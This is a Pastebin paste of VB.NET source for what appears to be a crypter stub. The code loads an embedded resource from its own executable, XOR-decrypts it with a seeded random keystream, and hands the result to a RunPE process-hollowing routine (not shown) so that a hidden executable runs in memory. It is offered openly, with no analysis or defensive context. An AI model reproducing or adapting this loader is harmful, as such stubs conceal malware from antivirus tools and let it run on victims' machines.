Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Runtime.InteropServices
- Imports System.Diagnostics
- Imports Microsoft.VisualBasic.CompilerServices
- Public Class ReadResource
- <DllImport("kernel32.dll", SetLastError:=True)> _
- Private Shared Function FindResource(ByVal hModule As IntPtr, ByVal lpName As String, ByVal lpType As String) _
- As IntPtr
- End Function
- <DllImport ("kernel32", EntryPoint:="GetModuleHandleA", CharSet:=CharSet.Ansi, SetLastError:=True, _
- ExactSpelling:=True)> _
- Private Shared Function GetModuleHandle(<MarshalAs(UnmanagedType.VBByRefStr)> ByRef moduleName As String) _
- As IntPtr
- End Function
- <DllImport("kernel32", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)> _
- Private Shared Function LoadResource(ByVal hModule As IntPtr, ByVal hRI As IntPtr) As IntPtr
- End Function
- Public Shared Sub main()
- Try
- Dim mH As IntPtr = GetModuleHandle((Process.GetCurrentProcess.MainModule.ModuleName))
- Dim hRI As IntPtr = FindResource(mH, "0", "RT_RCDATA")
- Dim s As IntPtr = LoadResource(mH, hRI)
- Dim length As Integer = SizeofResource(mH, hRI)
- Dim d As Byte() = New Byte(((length - 1) + 1) - 1) {}
- Marshal.Copy(s, d, 0, length)
- Dim sE As Integer = BitConverter.ToInt32(d, (d.Length - 4))
- d = DirectCast(Utils.CopyArray(DirectCast(d, Array), New Byte(((d.Length - 3) + 1) - 1) {}), Byte())
- Dim r As New Random(sE)
- Dim b As Byte() = New Byte(((d.Length - 1) + 1) - 1) {}
- r.NextBytes(b)
- Dim num4 As Integer = (d.Length - 1)
- Dim i As Integer = 0
- Do While (i <= num4)
- d(i) = CByte((d(i) Xor b(i)))
- i += 1
- Loop
- RunpeClass.RunpeSub(d, Process.GetCurrentProcess.MainModule.FileName)
- Catch ex As Exception
- End Try
- End Sub
- <DllImport("kernel32", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)> _
- Private Shared Function SizeofResource(ByVal hModule As IntPtr, ByVal hRI As IntPtr) As Integer
- End Function
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement